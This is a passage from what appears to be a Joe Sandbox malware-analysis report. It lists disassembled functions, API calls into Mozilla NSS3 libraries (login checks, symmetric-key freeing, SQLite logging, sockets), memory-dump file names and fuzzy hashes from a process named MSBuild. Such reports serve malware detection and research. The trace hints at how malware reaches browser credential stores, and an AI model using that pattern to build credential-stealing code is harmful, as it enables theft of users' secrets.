PK11_IsLoggedIn.NSS3(?,?,?,6CCB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC84F1C), ref: 6CC98EC3
TlsGetValue.KERNEL32(?,?,?,6CCB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CC84F1C), ref: 6CC98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CCB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC98EF1
PR_Unlock.NSS3 ref: 6CC98F20

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 0f289bf3533fff6fb1389e40c9d2ff471acd37bab1c623e4243d9533ec0e403e
Instruction ID: 81b48fa67c80632a934665979b43abbfcb77ddd18845ad9a21d8ab813bac777d
Opcode Fuzzy Hash: 0f289bf3533fff6fb1389e40c9d2ff471acd37bab1c623e4243d9533ec0e403e
Instruction Fuzzy Hash: BA217A74A096059FDB00AF29D084AA9BBF4FF48318F01456EE9989BB41E730E854CBD2

Function 6CCC8970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6CC761C4,?,6CC75639,00000000), ref: 6CCC8991
TlsGetValue.KERNEL32(?,?,?,?,?,6CC75639,00000000), ref: 6CCC89AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC75639,00000000), ref: 6CCC89C6
PR_WaitCondVar.NSS3 ref: 6CCC89F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC75639,00000000), ref: 6CCC8A0C

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: d3bcf54efb0b777d0efe1368777505f6f638fba7c2c0ef0968910731043e6fe7
Instruction ID: fbfafe213a13643297e8011f3ecc0b453cff08149cef69b9f360b6865a1ed2f4
Opcode Fuzzy Hash: d3bcf54efb0b777d0efe1368777505f6f638fba7c2c0ef0968910731043e6fe7
Instruction Fuzzy Hash: C7216DB4A047158FDB00AF79C5845AABBB8FF06318F11466ADD9897601F730D895CB93

Function 6CCC8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8821
TlsGetValue.KERNEL32(?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC883D
EnterCriticalSection.KERNEL32(?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CCC8887
PR_Unlock.NSS3(?,?,?,?,6CCD085A,00000000,?,6CC78369,?), ref: 6CCC8899

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: ffc620fa3080d7eaaf43492a0df4a07042b7d77e78472bcae9d409c7a2639e65
Instruction ID: 281b21d49f4872f355ea180df7415364e39c0532cfd4d0dbeaa58bdd2081b1ca
Opcode Fuzzy Hash: ffc620fa3080d7eaaf43492a0df4a07042b7d77e78472bcae9d409c7a2639e65
Instruction Fuzzy Hash: 79217CB4A046058FDB00AF79C5C45AABBB8FF45308F10466ADD9496A05F730D995CB92

Function 6CC928A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CC880DD), ref: 6CC928BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CC880DD), ref: 6CC928D3
PR_Unlock.NSS3(?,?,?,?,?,6CC880DD), ref: 6CC928E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CC880DD), ref: 6CC9290E
free.MOZGLUE(?,?,?,?,?,?,6CC880DD), ref: 6CC9291A

Part of subcall function 6CC89270: DeleteCriticalSection.KERNEL32(?,?,6CC95089,?,6CC93B70,?,?,?,?,?,6CC95089,6CC8F39B,00000000), ref: 6CC8927F
Part of subcall function 6CC89270: free.MOZGLUE(?,?,6CC93B70,?,?,?,?,?,6CC95089,6CC8F39B,00000000), ref: 6CC89286
Part of subcall function 6CC89270: PL_HashTableDestroy.NSS3(?,6CC93B70,?,?,?,?,?,6CC95089,6CC8F39B,00000000), ref: 6CC89292

Part of subcall function 6CC88B50: TlsGetValue.KERNEL32(00000000,?,6CC90948,00000000), ref: 6CC88B6B
Part of subcall function 6CC88B50: EnterCriticalSection.KERNEL32(?,?,?,6CC90948,00000000), ref: 6CC88B80
Part of subcall function 6CC88B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CC90948,00000000), ref: 6CC88B8F
Part of subcall function 6CC88B50: PR_Unlock.NSS3(?,?,?,?,6CC90948,00000000), ref: 6CC88BA1
Part of subcall function 6CC88B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CC90948,00000000), ref: 6CC88BAC
Part of subcall function 6CC88B50: free.MOZGLUE(?,?,?,?,?,6CC90948,00000000), ref: 6CC88BB8

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 970c71dbcdab9521af1499da4f826e814bce3b525fabca7cbf4220a183e6465f
Instruction ID: ef0e328694d042e8579350f94084fab4dc0a2dc82cb932c985918f6aba1edf99
Opcode Fuzzy Hash: 970c71dbcdab9521af1499da4f826e814bce3b525fabca7cbf4220a183e6465f
Instruction Fuzzy Hash: 0E2139B5A04A069BDB00BF78C088469BBF8FF05368F024969DDD597B00E730E895CB92

Function 6CC609E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CC606A2,00000000,?), ref: 6CC609F8
malloc.MOZGLUE(0000001F), ref: 6CC60A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CC60A33

Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607AD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607CD
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBF204A), ref: 6CC607D6
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBF204A), ref: 6CC607E4
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,6CBF204A), ref: 6CC60864
Part of subcall function 6CC607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC60880
Part of subcall function 6CC607A0: TlsSetValue.KERNEL32(00000000,?,?,6CBF204A), ref: 6CC608CB
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608D7
Part of subcall function 6CC607A0: TlsGetValue.KERNEL32(?,?,6CBF204A), ref: 6CC608FB

PR_Free.NSS3(?), ref: 6CC60A6C
PR_Free.NSS3(?), ref: 6CC60A87

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 788588cdb8079028f3bc7bb36a386e1f0d0c519ed88033e558ea490e8dc59255
Instruction ID: df43e77d5c2d180da53f77de2ada9a19fdec6f8914621eaa3b6b5f7be33b859e
Opcode Fuzzy Hash: 788588cdb8079028f3bc7bb36a386e1f0d0c519ed88033e558ea490e8dc59255
Instruction Fuzzy Hash: 921124B1900B818BF7119F27DBC575273A8FF41398F40552AD95692E11FB30F494C794

Function 6CC9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CCB1E10: TlsGetValue.KERNEL32 ref: 6CCB1E36
Part of subcall function 6CCB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CC8B1EE,2404110F,?,?), ref: 6CCB1E4B
Part of subcall function 6CCB1E10: PR_Unlock.NSS3 ref: 6CCB1E76

free.MOZGLUE(?,6CC9D079,00000000,00000001), ref: 6CC9CDA5
PK11_FreeSymKey.NSS3(?,6CC9D079,00000000,00000001), ref: 6CC9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC9D079,00000000,00000001), ref: 6CC9CDCF
DeleteCriticalSection.KERNEL32(?,6CC9D079,00000000,00000001), ref: 6CC9CDE2
free.MOZGLUE(?), ref: 6CC9CDE9

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 2dbca548e1817bba26c4db534200b31552ac9d449e5178b3c3281f4b4b1a83ec
Instruction ID: d8dbd7716d745294132587b189d9d244b15d8ddda5ae539b5658d74900027b25
Opcode Fuzzy Hash: 2dbca548e1817bba26c4db534200b31552ac9d449e5178b3c3281f4b4b1a83ec
Instruction Fuzzy Hash: 4311ACB6B01112ABEB00AFA5EC85996B72CBB442A87100161EA09D7E11F732E535C7E1

Function 6CD02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CD05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD02CEC

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CD02D02
PR_EnterMonitor.NSS3(?), ref: 6CD02D1F
PR_ExitMonitor.NSS3(?), ref: 6CD02D42
PR_ExitMonitor.NSS3(?), ref: 6CD02D5B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 664a7e31242973759431ad517d2403c0ec08cb7421210f6134993454330a7ffb
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 310165F5A112009BE7309F29FC45B87B7A5EB4531CF004539E95D86B30E632F915C6B2

Function 6CD02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CD05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CD05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CD02D9C

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CD02DB2
PR_EnterMonitor.NSS3(?), ref: 6CD02DCF
PR_ExitMonitor.NSS3(?), ref: 6CD02DF2
PR_ExitMonitor.NSS3(?), ref: 6CD02E0B

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: c90510cd4e8c84c94f423acabff7a045ddaebeee0fcfb067c630f86d20649c25
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 1F018EB1A41200ABEA209F29FC45BC7B7A5EB41318F000439E85D87B30E632E825C6A2

Function 6CD149C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6CD05F34,00000A20), ref: 6CD149EC

Part of subcall function 6CCCFAB0: free.MOZGLUE(?,-00000001,?,?,6CC6F673,00000000,00000000), ref: 6CCCFAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6CD05F34,00000A20,?,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD149F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6CD05F34,00000A20,?,?,?,?,?,?,?,?,?,6CD0AAD4), ref: 6CD14A06
free.MOZGLUE(?,?,?,?,?,6CD05F34,00000A20), ref: 6CD14A16
free.MOZGLUE(000A2CB6,?,?,?,?,6CD05F34,00000A20), ref: 6CD14A1C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: 8166aa652394df6a9b150c4f33fca1030b0ef8a528463f3b153883b6fe05a775
Instruction ID: 6d00768d916bdd35f820faf1042e80e9582ca06703841c2eeff99293d35bd0b2
Opcode Fuzzy Hash: 8166aa652394df6a9b150c4f33fca1030b0ef8a528463f3b153883b6fe05a775
Instruction Fuzzy Hash: 53015EB6A001049FCB00CF69ECC4C967BBCEF892487058065E909CB711F731E945CBA1

Function 6CD8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD8A6D8), ref: 6CD8AE0D
free.MOZGLUE(?), ref: 6CD8AE14
DeleteCriticalSection.KERNEL32(6CD8A6D8), ref: 6CD8AE36
free.MOZGLUE(?), ref: 6CD8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD8A6D8), ref: 6CD8AE47

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: f00bbbb675848c96f8160923060a2ab8c460fcf2df02f8906ea6d6456094219f
Instruction ID: 280a69b710ab5093672670527366fbd9c8d7ff86a790ac3f7967ee14187a8185
Opcode Fuzzy Hash: f00bbbb675848c96f8160923060a2ab8c460fcf2df02f8906ea6d6456094219f
Instruction Fuzzy Hash: 5BF0C275202A02A7DA119FA9984C917777CBE866747100328E32E83980D732E212C7D1

Function 6CC06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CC06D36

Strings

%s at line %d of [%.10s], xrefs: 6CC06D2F
database corruption, xrefs: 6CC06D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC06D20

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 6e61f825c27cb94e605b72cf16b1529900293026341ee00117962df087a50143
Instruction ID: 56976f134808881ed9d5914aa731f528f92a35d6cb6dab410e08bc13b6c6a90b
Opcode Fuzzy Hash: 6e61f825c27cb94e605b72cf16b1529900293026341ee00117962df087a50143
Instruction Fuzzy Hash: 8A21DE70700B059BD7108F1AC841B5AB7E2BF84308F148568DC999BB51F372E989CB92

Function 6CD3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CD3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CD3CC7B), ref: 6CD3CD7A
Part of subcall function 6CD3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CD3CD8E
Part of subcall function 6CD3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CD3CDA5
Part of subcall function 6CD3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CD3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CD3CCB5
memcpy.VCRUNTIME140(6CDD14F4,6CDD02AC,00000090), ref: 6CD3CCD3
memcpy.VCRUNTIME140(6CDD1588,6CDD02AC,00000090), ref: 6CD3CD2B

Part of subcall function 6CC59AC0: socket.WSOCK32(?,00000017,6CC599BE), ref: 6CC59AE6
Part of subcall function 6CC59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CC599BE), ref: 6CC59AFC

Part of subcall function 6CC60590: closesocket.WSOCK32(6CC59A8F,?,?,6CC59A8F,00000000), ref: 6CC60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CD3CCB0

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 18a0cf5db849e74e142f4b3c76cbb31a8a5d98e43575f15cf750e8ee1a317bc2
Instruction ID: 657a00f055c9bc8ce980684626a3a255329dfb44848eb6b7c5f38a20a21c87a8
Opcode Fuzzy Hash: 18a0cf5db849e74e142f4b3c76cbb31a8a5d98e43575f15cf750e8ee1a317bc2
Instruction Fuzzy Hash: E511B1F5F112509EFB009F9A9C46B463ABCD386738F101129E60A8BB61E735F4088BE5

Function 6CBFA8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CD2A480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CD4C3A2,?,?,00000000,00000000), ref: 6CD2A528
Part of subcall function 6CD2A480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD2A6E0

